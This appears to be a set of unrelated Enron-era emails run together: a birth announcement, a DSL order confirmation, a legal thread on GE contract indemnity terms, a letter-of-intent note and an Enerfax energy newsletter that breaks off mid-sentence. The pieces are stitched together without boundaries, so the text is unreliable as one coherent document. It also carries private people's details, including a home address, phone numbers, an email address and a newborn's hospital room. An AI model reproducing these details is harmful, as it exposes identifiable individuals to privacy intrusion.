---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/11/2000 
07:59 AM ---------------------------

Jodi Dziadek
04/10/2000 10:50 AM
To: Beth Perlman/HOU/ECT@ECT, Philippe A Bibi/HOU/ECT@ECT, Mike 
McConnell/HOU/ECT@ECT, Cathy Phillips/HOU/ECT@ECT, Jay Webb/HOU/ECT@ECT, 
Louise Kitchen/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT, Stinson 
Gibner/HOU/ECT@ECT, Jim Fallon/HOU/ECT@ECT, Lucy Marshall/HOU/ECT@ECT, Tim 
Belden/HOU/ECT@ECT, John P Tollefsen/HOU/ECT@ECT, Arshak 
Sarkissian/HOU/ECT@ECT, Dan Bruce/HOU/ECT@ECT, Inja Chun/HOU/ECT@ECT, Richard 
Burchfield/HOU/ECT@ECT, Susan Lopez/HOU/ECT@ECT, Mark Pickering/LON/ECT@ECT, 
Tommy J Yanowski/HOU/ECT@ECT, Larrissa Sharma/HOU/ECT@ECT, Steven 
Gullion/HOU/ECT@ECT, Francis S Lim/HOU/ECT@ECT, Jeff Lewis/HOU/ECT@ECT, 
Steven Zhang/HOU/ECT@ECT, Narasim Kasaru/HOU/ECT@ECT, Kirti 
Patel/HOU/ECT@ECT, Krishna Lattupally/HOU/ECT@ECT, Sean Yang/HOU/ECT@ECT, 
Luis Aybar/HOU/ECT@ECT, Jayant Krishnaswamy/HOU/ECT@ECT, Ingrid 
Xu/HOU/ECT@ECT, John Liu/HOU/ECT@ECT, John Norden/HOU/ECT@ECT, Chris 
Constantine/HOU/ECT@ECT, Betty Chan/HOU/ECT@ECT, Sai Sreerama/HOU/ECT@ECT, 
Lenine Jeganathan/HOU/ECT@ECT, Tovinh Nguyen/HOU/ECT@ECT, Philip 
Wattenbarger/HOU/ECT@ECT, Jennifer Zhou/HOU/ECT@ECT, Michael Liu/HOU/ECT@ECT, 
Tim Abasov/HOU/ECT@ECT, Kenneth D'Silva/HOU/ECT@ECT, Joseph 
Koothrappaly/HOU/ECT@ECT, Michael Marryott/HOU/ECT@ECT, Apolak 
Borthakur/HOU/ECT@ECT, Donald Howard/HOU/ECT@ECT, Stephen Swaney/HOU/ECT@ECT, 
Tommy Nguyen/HOU/ECT@ECT, Yannis Tzamouranis/HOU/ECT@ECT, Brad 
Merrell/HOU/ECT@ECT, Tom E Moore/HOU/ECT@ECT, Jeremy Wong/HOU/ECT@ECT, Curtis 
Smith/HOU/ECT@ECT, Mike Freimanis/HOU/ECT@ECT, Sanjesh Pathak/HOU/ECT@ECT, 
Nagesh Kavi/HOU/ECT@ECT, Ranjini Lakshman/HOU/ECT@ECT, Ningya 
Cheng/HOU/ECT@ECT, Ron Nolte/HOU/ECT@ECT, Michael Swaim/HOU/ECT@ECT, Ricky 
Dang/HOU/ECT@ECT, Allan Severude/HOU/ECT@ECT, John Hou/HOU/ECT@ect, Zhiyong 
Wei/HOU/ECT@ECT, Sanjay Gupta/HOU/ECT@ECT, Nancy Snyder/HOU/ECT@ECT, Ravi 
Ramachandran/HOU/ECT@ECT, Heather Busby/HOU/ECT@ECT, Junaid 
Khanani/HOU/ECT@ECT, Suixiong Pan/HOU/ECT@ECT, Oleg Romadan/HOU/ECT@ECT, Arun 
Balasundaram/HOU/ECT@ECT, Asem Atta/HOU/ECT@ECT, David Zaccour/HOU/ECT@ECT, 
Neal Symms/HOU/ECT@ECT, Steven Roselius/HOU/ECT@ECT, Duong Luu/HOU/ECT@ECT, 
Kenny Ha/HOU/ECT@ECT, Will Smith/HOU/ECT@ECT, Donald Kendall/HOU/ECT@ECT, 
Glenn Anderson/HOU/ECT@ECT, Gene Chen/HOU/ECT@ECT, Pete Davis/HOU/ECT@ECT, 
David M Fabian/HOU/ECT@ECT, Anna M Docwra/HOU/ECT@ECT, Nelson Xu/HOU/ECT@ECT, 
Matt Burleigh/HOU/ECT@ECT, Karen Easley/HOU/ECT@ECT, Mark 
Kinkead/HOU/ECT@ECT, Victor Bernard/HOU/ECT@ECT, Michael Belmont/HOU/ECT@ECT, 
Gurdip Saluja/Corp/Enron@ENRON, Nick Paraschos/Corp/Enron@ENRON, Tony 
Marquez/Corp/Enron@ENRON, Phillip McDuffie/Corp/Enron@ENRON, Tony 
Marquez/Corp/Enron@ENRON, BinBin She/Corp/Enron@ENRON, Nikolay 
Kraltchev/Corp/Enron@ENRON, Nick Paraschos/Corp/Enron@ENRON, Bill 
Fortney/Corp/Enron@ENRON, John Alvar/HOU/ECT@ECT, Mark 
Lintner/Corp/Enron@ENRON, Steve Nat/Corp/Enron@ENRON, Jenny 
Feng/Corp/Enron@ENRON, John Letvin/Corp/Enron@Enron, Susan 
Amador/Corp/Enron@ENRON, Joseph Jefferson/Corp/Enron@ENRON, Twana 
Lee/Corp/Enron@Enron, Ted Biggs/Corp/Enron@Enron, Jenny 
Zhou/Corp/Enron@Enron, Soo-Lian Eng Ervin/HOU/ECT@ECT, Mable 
Tang/HOU/ECT@ECT, Edith Cross/HOU/ECT@ECT, Todd Busby/NA/Enron@Enron, 
assistant@daughertygroup.com
cc:  
Subject: ANTHONY HAS A NEW BABY BOY!!!

There is a new addition to the Dayao Family!? And  yes, it's a boy!
?
Gregory Stefan Dayao was born on April 9 at 12:30 p.m.? (Named  after
one grandfather and same birthday as the other grandfather).? He came  in
a few weeks early weighing in at 6.1 lbs. and is 19 inches long.
Gregory and Mama will be at the Columbia Women's  Hospital for
the next couple of days.
?
Mama, Papa, and big sister Monica are all doing  well.

Below is the address of the hospital.  For your convenience, Bloom's Flowers 
will have all the delivery information (713-784-6796).

Columbia Woman's Hospital-Tx 
Room. 471
7600 Fannin St , Houston 
(713) 790-1234

Thank you for placing your order for
Qwest DSL service!

You may reference your order for 5032886546
by your billing telephone number, 5032886546.

During the next two weeks, we will be
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to ensure that you receive high-quality, reliable
Qwest DSL service. It is possible that this testing
will identify physical characteristics on your
line that will cause your telephone line to be
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we will notify you immediately to discuss other
options.

Your Qwest DSL service should be available on 4/18/2001.

Your order information is detailed below. Please
keep this message for your records.

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Telephone Number:                       5032886546

Order Details:
Service Type:                           Qwest DSL Select
Contract Term:                          Month-to-Month
ISP:                                    QWEST.NET

Contact and Shipping Information:
Daytime Contact:                        Kate Symes
Contact Telephone Number:               5034647486
Available Hours:                        8AM 5PM
Customer Email:                         kate.symes@enron.com
Shipping Name:                          Kate Symes
Shipping Street Address:                2505 NE 32nd Place
Shipping City:                          Portland
Shipping State:                         OR
Shipping Zip Code:                      97212

Equipment Information:
Modem:                                  Internal Intel PCI Qwest DSL Modem
Computer Type:                          Desktop
Computer Operating System:              Pentium Win98/2000/Me

Telephone Line Details:
Wall Mounted Telephone Devices:         0
Other Telephone Devices:                0

Installation Option:                    Self- Please do not attempt to
                                        install your Qwest DSL modem
                                        until 04-18-01.

The total price of your Qwest DSL order is displayed below.
Applicable taxes will be applied to your bill. Please
note that if you have selected an ISP other than
QWEST.net, you will need to contact your ISP for
pricing information.

SERVICE CHARGES                    NON-RECURRING   MONTHLY
---------------                    -------------   -------
Qwest DSL Select, Month-to-Month
Contract                           $69.00          $19.95
Internet Access                    $0.00           $17.95
Internal Intel PCI Qwest DSL Modem $150.00         $0.00
0 Microfilter Packs of 1 Wall and
3 Desk Microfilters                $0.00           $0.00
TOTAL LIST PRICE:                  $219.00         $37.90

SPECIAL DISCOUNTS                  NON-RECURRING   MONTHLY
-----------------                  -------------   -------
One Month Free Qwest DSL Service   $0.00           $0.00
Activation Charge Waiver           ($69.00)        $0.00
Free Qwest DSL  Modem              ($150.00)       $0.00

TOTAL DISCOUNTS:                   ($219.00)       $0.00

TOTAL PRICE Qwest DSL ORDER:       $0.00           $37.90

If you have any questions regarding your
order, please call the appropriate customer service
center:

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Home Office customers call 1-800-898-9675
Small Business customers call your account
manager or call 1-800-603-6000
Business and Government Solutions call 1-800-549-5629

Once Qwest DSL has been installed in your home or office, you may also use
the Qwest DSL Online Ordering Site to change the speed of your Qwest DSL
service or to change your ISP.  To change your Qwest DSL service,
please visit our ordering site at http://orderdsl.qwest.com.
Please do not respond to this e-mail.

Yeh, I finally figured that out just after I sent the e-mail this AM.

Scott Dieball
09/12/2000 01:16 PM

To:   John Schwartzenburg/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:   Kay Mann/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sheila Tweed@ECT

Subject:  Re: GE Language  (Document link: John Schwartzenburg)

Thanks John.  FYI the contract language (w/GE comments) is attached at the
bottom of this E-mail.  When you have a minute we can discuss.

John Schwartzenburg
09/12/2000 10:43 AM

To:   Scott Dieball/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kay
      Mann/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:   Sheila Tweed@ECT

Subject:  Re: GE Language  (Document link: Scott Dieball)

 I think that I agree with the points and comments you folks raised in the
first echange on indemnities below, but don't have the document to refer
to. Scott, please drop by and brief me on these.  Cognizant Gov't? Never
heard of  the term, and itis not one of the usual defined terms. Don't know
how it's used here, suggest you decline andmake them clarify.

LOL ISSUES:
1. I suppose that this is a NY law contract. I  do not think you can
effectively limit your liability for gross negligence or wilful misconduct
in NY. Regardless of choice of law, we generally cannot get this limited
or excluded in contracts with owners, either.  I think you should not
accept any GE attempt to limit this by means of the cap on liability or
otherwise , and should avoid muddying the water on the point by taking any
"to the fullest extent permitted by law" clause or other  such stuff as a
compromise. It will be important every time we wrap the GE equipment.

2. Generally, I do not think they should be able to limit their indemnity
for Haz Mat, patents, etc.

3. They have consistently refused to clarify that the indemnity  for all
third party losses includes third party consequentials when Brian or
whoever else over here has been the lead negotiator with GE in the past. I
would like to think that we could get it clarified now that the larger
Enron is working it.  Please try it again if you can.

09/11/2000 07:29 PM

To:   Kay Mann/Corp/Enron@ENRON
cc:   Brian D Barto/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, John
      Schwartzenburg/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Martin W
      Penkwitz/NA/Enron@Enron, Roseann Engeldorf/Corp/Enron@ENRON, Sheila
      Tweed/HOU/ECT@ECT@ENRON, Ben Jacoby/HOU/ECT@ECT@ENRON

See my comments in blue below.

To:   Scott Dieball/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Brian D
      Barto/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, John
      Tweed/HOU/ECT@ECT, Ben Jacoby/HOU/ECT@ECT
cc:

Subject:  GE Language

I'm not particularly wild about many of the changes proposed by GE.  Agree.
Seems that it would be a good idea to get a consensus on how to respond.
Here are the issues I see:

Indemnity issues:
They should indemnify us from claims by their employees/subcontractors.
Kay - Is your comment in connection with GE's comment to Section 27.1(iii)
(carve out of the 100% LOL for "gross acts" of its subcontractors, vendors,
ect.)?  GE is in an aggressive outsource mode and needs to remain solely
and totally responsible for the actions and liabilities for its
subcontractors and vendors.  I think Section 20.2(a) as written covers
simple negligence of GE's subcontractors and vendors and I would argue that
we need to keep Section 27.1(iii) as written dealing with gross negligence
of GE's subcontractors and vendors.
Indemnity should be triggered by strict liability as well as negligence.
Agree - Maybe we could agree to GE's strike out in 20.2(a) provided the
phrase "negligent or willfully wrongful" is replaced with "negligent, at
fault or strictly liable without fault" (or some variation thereof).
What is a cognizant government?  Don't know!  This was not discussed with
MIke so I am not sure what is the meaning of adding this term.  We need to
also think in terms of how we could be harmed in a situation where GE fails
to comply with law, and instead of Enron incurring a monetary penalty, is
ordered to shut down the facility.

Limit of liability issues:
They want to limit their indemnity obligations for complying with laws,
patent infringement, liability for haz. waste and liens to 100% of purchase
price.
They want the limit of liability to apply to gross negligence, if possible.
Agree - See 1st comment above re indemnity.
They don't want to clarify that they have to indemnify us for another
party's claim for consequentials (as in a personal injury claim).  Agree.

We've don't have anything concrete on assignment yet.  Agree.

Comments?  I suggest we get together before our next scheduled conf. call
to discuss our game plan.

Sheila has asked that we change Wednesday's call to 1100 Central, or 100
Central if 1100 doesn't work.  Is this a problem?  Works for me...just let
me know when, where, ect.

Kay

They should have to
---------------------- Forwarded by Kay Mann/Corp/Enron on 09/11/2000 04:07

michael.barnas@ps.ge.com on 09/07/2000 07:46:07 PM

To:   stephen.swift@ps.ge.com, Sheila.Tweed.@enron.com,
      Roseann.Engeldorf@enron.com, Kay.Mann@enron.com,
      Scott.Dieball@enron.com, Martin.W.Penkwitz@enron.com

Folks,

Having conferred at last with my colleagues, I can now forward to you our
draft language for the Indemnity and LOL clauses.  As Steve mentioned in
his
earlier message, he has suggested some issues to discuss which could bring
us closer to resolution on that issue.  Please let me know if you have any
question!

     Mike
g _____________
Michael C. Barnas
Counsel, Power Plants Commercial Operations
GE Power Systems
One River Road - Building 37, Room 307
Schenectady,  NY 12345  USA
Phone 8*235-7602       (518) 385 7602
Fax     8*235 5466        (518) 385 5466
Mobile 518 369 9538

(See attached file: MajorClausesGE01.doc)

 - MajorClausesGE01.doc

Attached is the final version of the LOI for Clarksdale and Yaxoo City.

Sent: Monday, March 26, 2001 5:46 PM
To: priest@yazoopsc.org; mcarroway@watervallery.net; drhunt@watervalley.net
Cc: Rorschach, Reagan; Fairley, David
Subject: Revised LOI

Attached is a clean version of the LOI.  Originals are being sent to Bob and 
Marvin by FedX tonight.

Regards,

Kay

Enerfax Daily
NORTH AMERICA'S FREE POWER AND GAS INFORMATION SOURCE 
              Tuesday, February 26 2002 No. 949
Visit: http://www.enerfax.com to view our web version or for Oil 
Prices & News http://www.enerfaxgold.com

PHYSICAL NATURAL GAS PRICES ??
Gulf/Eastern Region     
| Agua Dulce              | 2.30  |
| ANR SE                  | 2.37  |
| Carthage Tailgate       | 2.38  |
| Chicago Citygate        | 2.45  |
| Columbia Gulf Onshore   | 2.39  |
| Dominion South Point    | 2.61  |
| Henry Hub               | 2.40  |
| Houston Ship Channel    | 2.41  |
| Katy Tailgate/Exxon     | 2.39  |
| NGPL LA Pool            | 2.36  |
| NGPL - Midcontinent     | 2.31  |
| NGPL STX                | 2.32  |
| NGPL TX/OK              | 2.36  |
| NNG Demarc.             | 2.43  |
| Niagara                 | 2.56  |
| Sonat Tier 1            | 2.38  |
| TCO IPP Pool            | 2.50  |
| Tetco ELa               | 2.33  |
| Tetco M-3               | 2.66  |
| Tetco STX               | 2.30  |
| TGP Zone 0              | 2.34  |
| TGP Zone 1 (500 Leg)    | 2.38  |
| TGT Zone SL             | 2.39  |
| New York Citygate       | 2.66  |
| Transco Station 65      | 2.40  |
| Transco Zone 6 (NY)     | 2.66  |
| Trunk ELa               | 2.38  |
| Western Region         
| California Border       | 2.29  |
| El Paso Keystone        | 2.21  |
| El Paso San Juan-Blanco | 2.18  |
| Waha Hub                | 2.32  |
| Canadian/Rockies Region 
| Nova/Aeco (C$/gig)      | 3.29  |
| Dawn Hub/Union          | 2.49  |
| Northwest Stanfield     | 2.28  |
| Wyoming Pool            | 2.05  |
| Opal                    | 2.06  |
| PGT-Malin               | 2.29  |
| Sumas                   | 2.22  |
         Flow Date 2/26
OPEN SEASON

SG Resources Mississippi, L.L.C., a wholly owned subsidiary of SGR 
Holdings, L.L.C., is conducting an open season for firm storage 
services at its new high-deliverability, salt cavern, natural gas 
storage facility, known as the Southern Pines Energy Center. The open 
season will begin at 9:00 a.m. CDT on February 4, 2002, and will 
continue until 5:00 p.m. CDT on March 4, 2002. The project is located 
at the border of Mississippi and Alabama with access to the major 
pipelines serving the Mid-Atlantic and the Southeastern United 
States. The facility is ideally located to serve as a transportation 
and storage hub for shippers on any one of nine major pipelines that 
will be interconnected directly or indirectly to the project. 
Information on the facility and the Open Season is available on our 
web site at   
http://www.sgr-holdings.com 
or contact us at 713-914-8188.
NATURAL GAS FUTURES
Henry Hub 
12 Month Strip ?2.6959  -0.1105 ? ? ? 
18 Month Strip ?2.8108  -0.0976? ? 
| Month | High  |  Low  | Close | Change |
| MAR   | 2.380 | 2.290 | 2.307 | -0.142 |
| APR   | 2.415 | 2.330 | 2.348 | -0.143 |
| MAY   | 2.480 | 2.400 | 2.414 | -0.133 |
| JUN   | 2.520 | 2.470 | 2.478 | -0.123 |
| JUL   | 2.585 | 2.530 | 2.536 | -0.120 |
| AUG   | 2.630 | 2.580 | 2.588 | -0.115 |
| SEP   | 2.640 | 2.590 | 2.598 | -0.110 |
| OCT   | 2.680 | 2.625 | 2.633 | -0.105 |
| NOV   | 2.930 | 2.895 | 2.895 | -0.095 |
| DEC   | 3.170 | 3.130 | 3.133 | -0.087 |
| JAN   | 3.280 | 3.238 | 3.238 | -0.082 |
| FEB   | 3.210 | 3.180 | 3.183 | -0.075 |

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Natural Gas Futures Tumble Lower 

   Natural gas futures for March delivery on the NYMEX tumbled 6% 
yesterday, losing $0.142 to $2.307 per MMBtu. The April contract 
dropped $0.143 to $2.348 per MMBtu. The market, caught between heavy 
open interest concentrated at $2.00 and $2.50, sold downward into the 
$2.20s. The market opened down and moved lower. When the midmorning 
cash trading closed, the market  sold down to its intra-day low. 
Trade and local selling left the market caught in the middle of the 
open interest concentrations. Look for the market to continue down 
this morning with expiration likely between $2.00 ? $2.15. With open 
interest spread all over everywhere, options expiration yesterday was 
a non-event.  Look for a withdrawal of about 90 Bcf ? 100 Bcf 
reported by the AGA tomorrow afternoon. A year ago, 101 Bcf was 
withdrawn from storage, and the 3-year average is 91 Bcf. Estimated 
volume yesterday was about 110,000 contracts, about 35,000 of which 
were considered spreads. The market still carries a very high $0.94 
forward carry between March-January 2003. Natural gas for next day 
delivery across the US and Canada was generally flat to $0.05 higher 
yesterday. Natural gas for next day delivery at the Henry hub was 
even at $2.40 per MMBtu.
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Today's Power Bulletins
 * Senate May Take Up Comprehensive Energy Legislation Debate on 
Floor Today
 * Lawmaker Wants Federal Bureau of Audits to Take Over Corporate 
Audits
 * Senator Harry Reid of Nevada Joining GAO Lawsuit Against White 
House Hoping to Gather Information on Administration's Plan to 
Dispose of Nuclear Waste in State
 * Entergy's Offer to Buy Vermont Yankee for $180 Million Likely Best 
Deal Obtainable
 * Xcel Energy Announces Pricing of 20 Million Shares of Common Stock 
Offering at $22.50 per Share
 * Fitch Rates Austin Energy Bonds `A'
 * Calpine Confident FERC Review Will Find California Contracts Just 
and Reasonable
 * Western Spot Power Prices Rise on Weather Related Demand
 * Northeast Spot Power Prices Mixed; Market Anticipates Forecast
 * Midwest Power Prices Rise on Cold Weather and Unit Outages
 * Southeast Spot Power Prices Jump Higher 
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 California Asks FERC to Terminate Power Deals

     California plans to petition the FERC to void 32 long-term, high-
priced power contracts the state signed last year. The California PUC 
has filed petitions under a section of the Federal Power Act charging 
that contracts the state has with 22 sellers are at prices and terms 
that are unjust and unreasonable. With the contracts valued at $43 
billion, the state committed to overpayments of about $21 billion for 
the 32 of the long-term power contracts. Calpine says it is confident 
that the FERC will find the company's long-term contracts with the 
state are just and reasonable. The PUC is asking the FERC to void the 
32 contracts.  The contracts were designed to rescue California from 
having to pay spot-market prices of $300 per MWh or more. Now, the 
average price of the contracts, $88 per MWh, is about 3 times more 
expensive than the spot market. FERC Chairman Wood is planning to 
investigate whether Enron and other companies manipulated 
California's power market and inappropriately influenced the prices 
of long-term power contracts. The contracts also have become an issue 
in the state's governor's race, where the 3 main Republicans have 
criticized the handling of the state's energy crisis. 
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UtiliCorp Receives Most from MIM Accounting

    UtiliCorp United received the highest percentage profits last 
year from mark-to-market accounting adjustments not yet realized in 
cash among 15 companies surveyed by ABN AMRO. UtiliCorp's earnings 
per share was $2.42 last year, about $0.81, or a third, came from 
MTM. Of that, about 80% relates to contracts to be realized in cash 
within one year, and 87% within 2 years. MTM accounting which allows 
company to take a commodity position and calculate the fair market 
value of 
the position at a specific point in time, despite actual earnings 
that may be years away. However, ABN gave UtiliCorp its highest 
rating for its level of disclosure. Williams, at 37%, had the highest 
percentage of earnings per share in the survey, but that is based on 
estimates, and excludes Enron-related write-offs. Williams has not 
yet reported 2001 results. Pinnacle West Capital was next at 22%, 
then Duke Energy at 21%. On Duke's $1.5 billion MTM book, 38% would 
be realized within a year, 53% in 2 years, and 64% in 3 years. 
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Natural Gas NYMEX Volume
02MAR   37,964
02APR   18,219
02MAY    6,322
02JUN    1,864
02JLY    1,398
02AUG    3,452
02SEP    2,351
02OCT    3,242
02NOV    2,966
02DEC    2,806
03JAN    5,421
03FEB    1,071
03MAR      457
03APR      214
03MAY        9
03JUN      742
03JLY       55
03AUG    1,050
03SEP      351
03OCT       14
03NOV        1
03DEC       21
04JAN    3,020
04FEB      379
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PHYSICAL POWER PRICES
|            | High  |  Low  | Average |
|            | $/MWh | $/MWh |  $/MWh  |
| Cinergy    | 26.50 | 21.50 |  23.15  |
| ECAR       | 26.50 | 19.80 |  23.15  |
| ERCOT      | 23.50 | 22.00 |  23.15  |
| Entergy    | 21.75 | 21.25 |  21.35  |
| TVA        | 28.15 | 26.05 |  27.60  |
| ComEd      | 22.50 | 20.00 |  21.65  |
| Nepool     | 29.35 | 27.00 |  28.45  |
| PJM West   | 23.00 | 22.00 |  22.65  |
| Main       | 24.25 | 20.00 |  22.35  |
| MAPP       | 23.50 | 21.00 |  22.35  |
| Palo Verde | 24.50 | 23.25 |  23.70  |
| Mid C      | 24.00 | 22.50 |  23.05  |
| COB        | 24.50 | 24.00 |  24.15  |
| 4 Corners  | 24.00 | 23.50 |  23.90  |
| Mead       | 25.00 | 23.75 |  24.30  |
| NP 15      | 26.25 | 25.50 |  25.80  |
| SP 15      | 26.00 | 25.00 |  25.45  |
            Power Delivered 2/26
Many Andersen Partners May Be Leaving 

     Executive recruiters say that more than a thousand Arthur 
Andersen partners have inquired into getting new jobs due to concerns 
about the accounting firms exposure to lawsuits stemming from the 
collapse of Enron. Andersen has about 4,700 partners and 85,000 
employees world-wide. Andersen contends that it is only experiencing 
a normal turnover so far. One recruiting company claims that it has 
received over 10,000 calls from Andersen employees since Enron filed 
for bankruptcy. A mass exodus by its staff may impact Andersen's 
ability to attract customers, especially during investigations by 
Congress, the SEC and the Justice Department into its role in 
establishing limited partnerships that hid debt and losses from Enron 
investors. Andersen has admitted that its employees shredded 
thousands of documents after the SEC inquiry began. Andersen is 
attempting to settle over $26 billion in lawsuits from Enron 
shareholders and employees who claim it failed to warn investors 
about the questionable accounting that led to Enron's downfall. 
Andersen plans to make a nonnegotiable offer this week to settle the 
suits. A published report said that the plaintiffs rejected an offer 
of up $800 million last week. Any settlement could significantly 
lower a partners net worth, and those who were directly involved in 
the Enron account could be sued for their personal assets. 
Todays Gas Bulletins
 * Enron Executives Sherron Watkins and Jeff McMahon and Former CEO 
Jeff Skilling Expected to Testify Today Before Senate Commerce 
Committee
 * Pemex January Natural Gas Output at 4.462 Bcf per Day Vs 4.575 Bcf 
per Day One Year Ago 
 * KWI Adds More Gas Functionality to kW3000; Deal Adds GMSL Gas 
Scheduling Technology to kW3000 and Creates Powerful European Product
 * Calling Fuel Cells and Hybrid Cars `Wave of the Future' President 
Bush Also Urged Drilling in Arctic Wildlife Refuge Yesterday
 * Congress and SEC Consider Post-Enron Credit Rating Reforms
 * NUI Energy Brokers Acquires Option on Property the It Plans to 
Develop Into Natural Gas Storage Facility in Perry County, 
Mississippi; Will Have Working Capacity of 10 Bcf
 * Sasol Explores for Natural Gas Offshore South Africa
 * Nicor Services Introduces Fixed Natural Gas Bill
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Skilling Tape Raises New Questions

    Congressional investigators reportedly have an October 3, 2000 
videotape in which former CEO Jeffrey Skilling vigorously defends 
Enron's accounting methods and touts the partnership deals now linked 
to its collapse. The tape raises questions about Skilling's recent 
testimony to lawmakers in which he said he knew of nothing wrong with 
Enron's finances when he resigned last August, citing personal 
reasons. In a transcript of the tape, Skilling responds to an Enron 
employee's concern about a Wall Street Journal article. The September 
20, 2000 story discussed Enron's use of an accounting method that 
books long-term contracts as current income. The article also said 
Enron would have had a 2nd quarter loss if not for $747 million in 
unrealized gains from risk management activities. However, Skilling 
says the story is just totally without merit, adding that Enron's 
accounting is conservative and the company provides more data in its 
annual report than anyone in a transaction-based industry. He then 
concludes that the company is in a strong position from an accounting 
basis. During the same meeting, Skilling tells employees the company 
will be bringing in partners to help Enron leverage its capital in 
its new Enron Net Works division. Earlier this month in testimony 
before the House Energy and Commerce Committee, Skilling said he was 
not aware of any inappropriate financing arrangements designed to 
conceal liabilities, or overstate earnings. Skilling is likely to be 
asked again about Enron's partnerships at the Senate consumer affairs 
subcommittee hearing today. He is also likely to be questioned about 
other discrepancies congressional investigators have found since he 
testified before the House committee. Also testifying will be Jeffrey 
McMahon, Enron's new president, and Sherron Watkins. 
POWER FUTURES ?
| Month |   COB   | Change |   PV    | Change |
| MAR   |  20.00  | +0.00  |  22.50  | +0.00  |
| APR   |  20.25  | +0.00  |  24.00  | +0.00  |
| MAY   |  19.75  | +0.00  |  25.00  | +0.00  |
| JUN   |  21.00  | +0.00  |  28.50  | +0.00  |
| JUL   |  28.75  | +0.50  |  39.75  | +0.00  |
| AUG   |  37.50  | +0.00  |  45.25  | +0.00  |
| SEP   |  33.50  | +0.00  |  34.50  | +0.00  |
| OCT   |  29.50  | +0.00  |  29.50  | +0.00  |
| NOV   |  29.00  | +0.00  |  28.50  | +0.00  |
| DEC   |  30.50  | +0.00  |  29.00  | +0.00  |
| JAN   |  30.50  | +0.00  |  29.50  | +0.00  |
| FEB   |  29.00  | +0.00  |  29.00  | +0.00  |
| Month | Entergy | Change | Cinergy | Change |
| MAR   |  20.00  | +0.00  |  21.10  | +0.00  |
| APR   |  20.00  | +0.00  |  21.60  | +0.00  |
| MAY   |  22.50  | +0.00  |  24.70  | +0.00  |
| JUN   |  27.50  | +0.00  |  30.00  | +0.00  |
| JUL   |  34.50  | +0.00  |  38.25  | +0.00  |
| AUG   |  34.50  | +0.00  |  38.25  | +0.00  |
| SEP   |  21.50  | +0.00  |  22.90  | +0.00  |
| OCT   |  21.85  | +0.00  |  22.90  | +0.00  |
| NOV   |  21.85  | +0.00  |  22.90  | +0.00  |
| DEC   |  21.85  | +0.00  |  22.90  | +0.00  |
| JAN   |  24.10  | +0.00  |  25.90  | +0.00  |
| FEB   |  24.10  | +0.00  |  25.90  | +0.00  |
Power Futures     
| Month |  PJM  | Change |
| MAR   | 25.10 | +0.00  |
| APR   | 25.10 | +0.00  |
| MAY   | 28.25 | +0.00  |
| JUN   | 35.00 | +0.00  |
| JUL   | 46.15 | +0.00  |
| AUG   | 46.15 | +0.00  |
| SEP   | 27.15 | +0.00  |
| OCT   | 26.00 | +0.00  |
| NOV   | 26.00 | +0.00  |
| DEC   | 26.00 | +0.00  |
| JAN   | 30.25 | +0.00  |
| FEB   | 30.25 | +0.00  |
Williams Communications Considers Bankruptcy 

    After Williams Communications Group, which is $5.2 billion in 
debt, said it may file for bankruptcy protection, shares of its 
former parent, Williams Companies, dropped $1.46, or 9%, to $14.84 
per share. Shares of Williams Communications lost over half their 
value, tumbling $0.29 to $0.22 per share. However, Williams 
Communications stressed that filing for bankruptcy was only one 
possibility being considered to reorganize the company. The 
announcement by Williams Communications increased Williams' investors 
concern that bankruptcy could lead to a sizable shareholder dilution, 
or trigger a ratings review. Williams spun off 95% of Williams 
Communication in April 2000, but could be liable for up to $2.6 
billion if the communication group defaults on its debt. The company 
backed $1.4 billion of Williams Communications debt and a $750 
million lease by agreeing to issue shares if its former unit 
defaults. Some investors have filed lawsuits accusing Williams of 
misleading them about its liability for the communications company 
before the spin-off. After a change in the way credit agencies handle 
energy companies rating, Williams may stand to lose long-term 
contracts until it settles the Williams Communication debt due to 
credit concerns by its trading partners. A lowering of Williams debt 
rating could also trigger an immediate pay back Williams 
Communication debt.  
The LDC FORUM SERIES ? Boston & Atlanta
 
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Go to:  http://www.interchange-energy.com/atlanta/home.htm

CORPORATE SPONSORS FOR 2002
AEP Energy Services * AGL Resources, Inc. * Aquila * Caminus * 
Columbia Gas Transmission * Columbia Gulf Transmission * Conoco Gas 
and Power * Dominion Transmission * Duke Energy * El Paso Merchant 
Energy * Element Re Capital Products, Inc. * EnergyUSA-TPC 
Corporation * Entergy-Koch Trading * Greyhawk Gas Storage Company, 
LLC * Gulf South Pipeline Co. * Gulfstream Natural Gas System * 
Iroquois Gas Transmission System LP * Lukens Energy Group * 
Northwinds Pipeline * PG&E National Energy Group * Portland Natural 
Gas Transmission Systems * Reliant Energy * Shell Trading (Coral 
Energy) * Southern Natural Gas Company * Stagecoach Storage 
Project/eCORP * Tennessee Gas Pipeline * TransCanada PipeLines * TXU 
Energy Trading * Union Gas * Williams Gas Pipeline * PG&E National 
Energy Group
Centrica to Buy NewPower Holdings

    NewPower Holdings, in which Enron holds a 23.5% stake, has agreed 
to a takeover by UK's Centrica for about $130 million. The deal is 
designed to keep the financially troubled NewPower in business. 
NewPower Holdings has just reported a 4th quarter loss of $154 
million, compared with a $57 million loss for the same period a year 
ago. It reported a net loss for 2001 of $327 million, compared with a 
loss of $170 million for 2000. Enron stake in NewPower would rise to 
43.8% when warrants to buy outstanding shares are included. Other 
major investors are investment banking firm DLJMB Partners, GE 
Capital Equity Investments, the California Public Employee's 
Retirement System and Ontario Teachers' Pension Plan Board. 
-----------------------------------------------------
Nymex Natural Gas Option Volatility  
Supplied by "The Daily Hedger"
Http://www.energy-institution.org

	       Futures	                Implied
Month	Settlement	Days Left    
Volatility                            
Apr	 $2.348	       27       58.7%
May	 $2.414	       58	    49.9%
Jun	 $2.478	       91	    46.0%
Jul	 $2.536	      119	    45.8%
Aug	 $2.588	      150	    45.5%
Sep	 $2.598	      182	    45.4%
Oct  	 $2.633	      211	    45.3%
Nov	 $2.895	      244	    45.4%
Dec	 $3.133	      272	    46.5%
Jan	 $3.238	      303	    47.5%
Calpine Ratings Remain Stable

    Standard & Poor's has retracted an announcement that it was 
considering reducing Calpine's credit rating, saying the statement 
was based on inaccurate information. Calpine's stock and debt rallied 
